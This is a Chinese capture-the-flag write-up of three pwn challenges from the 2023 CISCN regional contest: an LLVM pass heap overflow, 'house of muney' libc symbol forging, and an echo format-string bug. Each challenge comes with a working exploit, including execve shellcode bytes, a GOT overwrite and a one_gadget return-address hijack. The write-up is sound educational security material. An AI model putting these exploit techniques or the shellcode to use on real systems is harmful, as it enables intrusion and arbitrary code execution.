2023CISCN—华中赛区 pwn 题解

admin 2024年10月13日22:05:32评论13 views字数 4354阅读14分30秒阅读模式


llvm

之前写过几篇llvm的分析和题解,感觉这次ciscn还得出llvm,不过这个llvm相对之前的还是比较简单的,漏洞点也是白给,利用也较为简单。(这里我用的是ubuntu20。)

程序分析

先简单贴一下程序大致流程。

2023CISCN—华中赛区   pwn 题解

Add函数

2023CISCN—华中赛区   pwn 题解

2023CISCN—华中赛区   pwn 题解

Del函数

2023CISCN—华中赛区   pwn 题解

Edit函数

2023CISCN—华中赛区   pwn 题解
2023CISCN—华中赛区   pwn 题解

Alloc函数

2023CISCN—华中赛区   pwn 题解

EditAlloc函数

2023CISCN—华中赛区   pwn 题解

2023CISCN—华中赛区   pwn 题解

代码大概就是这样,刚开始做的时候已经把一些llvm函数忘得差不多了,又看winmt的博客补了一下。

add函数:申请一个堆块

del函数:释放一个堆块

edit函数:对一个堆块进行edit,存在溢出

alloc函数:申请一块rwx内存,地址0x10000

editalloc函数:像0x10000内存写入一个堆地址存放的数据指向的地址(感觉没啥用)

漏洞利用

1.申请几个连续的大小相同的堆块,释放中间两个,修改上边的堆块的fd指针为0x10000。

2.申请两个堆块,其中第二个堆块指向0x10000,调用alloc函数将0x10000设置为rwx,向其中写入shellcode的字节码,注意顺序即可。

3.再释放两个相邻堆块,改堆块fd为free_got,申请回free_got,将其改为0x10000。

4.退出llvm.so时执行free函数,执行我们的shellcode来get shell。

几个注意点

1、我在做这个题的时候,刚开始用clang-15编译,然后用opt-10执行一直报错,这里clang应该与opt的版本对应,太久没看过llvm了。

2、在程序执行的时候,首先跑llvm.so,在跑完退出时会调用opt里的函数,这里opt是没有开pie的,所以改opt里的free_got函数。

exp

#include<stdio.h>
int Add(int size){

}

int Del(int index){

}
int Edit(int index,int offset,int content){

}

int Alloc(){

}
int EditAlloc(int index,int offset){

}
int Hello(){

Add(0x1000);//0
Add(0x1000);//1
Add(0x1000);//2
//x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05
Add(176);//3
Add(176);//4
Add(176);//5
Add(176);//6

Add(176);//7
Add(176);//8
Add(176);//9
Add(176);//10
Del(5);
Del(4);
Edit(3,48,65536);
Alloc();
Add(176);//4
Add(176);//5-->0x10000
Edit(5,0,0x56f63148);
Edit(5,1,0x622fbf48);
Edit(5,2,0x2f2f6e69);
Edit(5,3,0x54576873);
Edit(5,4,0x583b6a5f);
Edit(5,5,0x050f99);
// Edit(5,5,0x050f99);
Del(9);
Del(8);
Edit(7,48,0x78b108);
Add(176);//8
Add(176);//9--->free_got
Edit(9,0,0x10000);
Edit(9,1,0);


return 0;

}

调试

其实我感觉llvm难点就是调试,这里首先给出几个命令。


test.c编译为test.ll

/usr/bin/clang-10 -emit-llvm -S test.c -o test.ll

gdb动态调试

gdb opt-10
set args -load ./LLVMHello.so -Hello ./test.ll
b main
r

首先跑完一大堆的llvm函数,然后用llvm.so加偏移下断点。

2023CISCN—华中赛区   pwn 题解

这里我直接用exp跑。

Alloc函数执行。

2023CISCN—华中赛区   pwn 题解

将shellcode写入0x10000。

2023CISCN—华中赛区   pwn 题解

链入free_got。

2023CISCN—华中赛区   pwn 题解

修改free_got为0x10000。

2023CISCN—华中赛区   pwn 题解

执行exit。

2023CISCN—华中赛区   pwn 题解

跑掉一大堆其他plt,进入free_plt。

2023CISCN—华中赛区   pwn 题解

成功执行shellcode。

2023CISCN—华中赛区   pwn 题解
2023CISCN—华中赛区   pwn 题解


muney

程序分析

2023CISCN—华中赛区   pwn 题解

前边一大堆的逆向,需要知道http数据包如何构造,这个跟上海磐石杯那个hp题挺像的,具体逆向不再分析,主要说一下house of muney这个方法。

利用手法

当堆管理器分配超大内存时,会调用mmap函数申请内存,申请的内存一般位于libc.so.6内存的低地址处。如果可以修改mmap申请的这段内存的size,那么我们再次申请回来就可以覆盖掉libc.so.6的符号表,哈希表等空间并进行改写伪造,在解析函数实际地址的时候就能控制其解析为任意地址,进而控制程序执行流。

这里先给出exp再进行说明:

exp

from pwn import *
context.log_level='debug'
r=process('./muney')
elf=ELF('./muney')
libc=elf.libc

def add(size,cont):
payload='POST /create HTTP/1.0 nSize:'+str(size)+"n"+'Content-Length:'+str(len(cont))+'nrn'+cont
r.sendafter("HTTP_Parser> ",payload)

def delete(idx):
payload='POST /delete HTTP/1.0 nIdx:' + str(idx)+"n"+"Content-Length:16" + 'nrn' + 'a'*16
r.sendafter("HTTP_Parser> ",payload)


def edit(idx,offset,cont):
payload=b'POST /edit HTTP/1.0 nIdx:' + str(idx).encode() +b'n'+b'Offset:'+str(offset).encode()+b'n'+b"Content-Length:"+str(len(cont)).encode()+b'nrn'+cont
r.sendafter("HTTP_Parser> ",payload)

def quit(cont):
payload='POST /quit HTTP/1.0 n'+'Content-Length:'+str(len(cont))+'nrn'+cont
r.sendafter("HTTP_Parser> ",payload)

add(0x150000,'a'*16)
edit(0,-8,b'x02x10x17')
delete(0)
add(0x171002,'a'*16)
edit(0,0x152b78,p64(0xaaa101010210130e))
edit(0,0x152ca0,p8(0x86))
edit(0,0x153d6c,p64(0x7c967e3e7c93f2a0))
edit(0,0x156d18-0x8,b"x90x22x05")
edit(0,0x156d18-0x10,b"xbdxa1x1a")
edit(0,0x156d18-0x10+4,b"x12")
edit(0,0x156d18-0x10+6,b"xf0")
gdb.attach(r)
quit('a'*16)
r.interactive()

调试

house of muney的关键在于伪造几个值:

bitmask_word
bucket
hasharr
target symbol ->st_value

调试一下看看这几个值在哪里(注意这里需要用到glibc源码调试,这里使用2.31)。

2023CISCN—华中赛区   pwn 题解

需要先跑过一次while(++i < n)

2023CISCN—华中赛区   pwn 题解

当源码走到这里时,记录一下bitmask_word的值。

2023CISCN—华中赛区   pwn 题解

走到这里,查看一下bucket的值。

2023CISCN—华中赛区   pwn 题解

走到这里查看一下hasharr。

2023CISCN—华中赛区   pwn 题解

走到这里会有sym符号表结构的一些值。

2023CISCN—华中赛区   pwn 题解
2023CISCN—华中赛区   pwn 题解

这里需要将st_name改成strtab与exit的偏移,st_value改成system的st_value。

编写一个c程序执行system看一下值(这个c程序不能开pie和full relro)。

2023CISCN—华中赛区   pwn 题解
2023CISCN—华中赛区   pwn 题解

是0x52290 。

再来找一下st_name,这里有几个可以选择,试试哪个通就行。

2023CISCN—华中赛区   pwn 题解

全部找到后就可以edit伪造了。

最后执行exit("/bin/sh");就能get shell。

2023CISCN—华中赛区   pwn 题解


AWD

程序分析

在main函数中有一个跳转,看一下off_5060位置。

2023CISCN—华中赛区   pwn 题解
2023CISCN—华中赛区   pwn 题解

可以看到我们输入的shell命令不同,会跳转到不同函数,这跟初赛的shellwego类似。

漏洞点位于echo里的格式化字符串漏洞。

2023CISCN—华中赛区   pwn 题解

由于该shell是循环输入,所以可以循环利用这个格式化字符串漏洞泄露libc和stack,然后劫持libc_start_main为onegadget即可。

exp

from pwn import *
context.log_level='debug'
r=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc

def shell(payload):
r.sendlineafter("$ x1B[0m",payload)

# gdb.attach(r)
shell("echo %29$p a")
libc_base=int(r.recv(14),16)-243-libc.sym['__libc_start_main']
print("libc_base------------->",hex(libc_base))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
ogg=libc_base+one_gadget[2]
shell("echo %12$p b")
stack=int(r.recv(14),16)
print("stack-------------->",hex(stack))
libc_start_main=stack+0x38

shell("echo %"+str(libc_start_main&0xffff)+'c%31$hn c')
shell("echo %"+str(ogg&0xffff)+"c%59$hn d")
shell("echo %"+str(libc_start_main+2&0xffff)+'c%31$hn e')
shell("echo %"+str((ogg>>16)&0xffff)+"c%59$hn f")
shell("KingKi1L3r")
r.interactive()

2023CISCN—华中赛区   pwn 题解

2023CISCN—华中赛区   pwn 题解

看雪ID:寄中寄

https://bbs.kanxue.com/user-home-964820.htm

*本文为看雪论坛优秀文章,由 寄中寄 原创,转载请注明来自看雪社区
2023CISCN—华中赛区   pwn 题解

# 

原文始发于微信公众号(看雪学苑):2023CISCN—华中赛区 pwn 题解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日22:05:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023CISCN—华中赛区 pwn 题解https://cn-sec.com/archives/1892080.html

发表评论

匿名网友 填写信息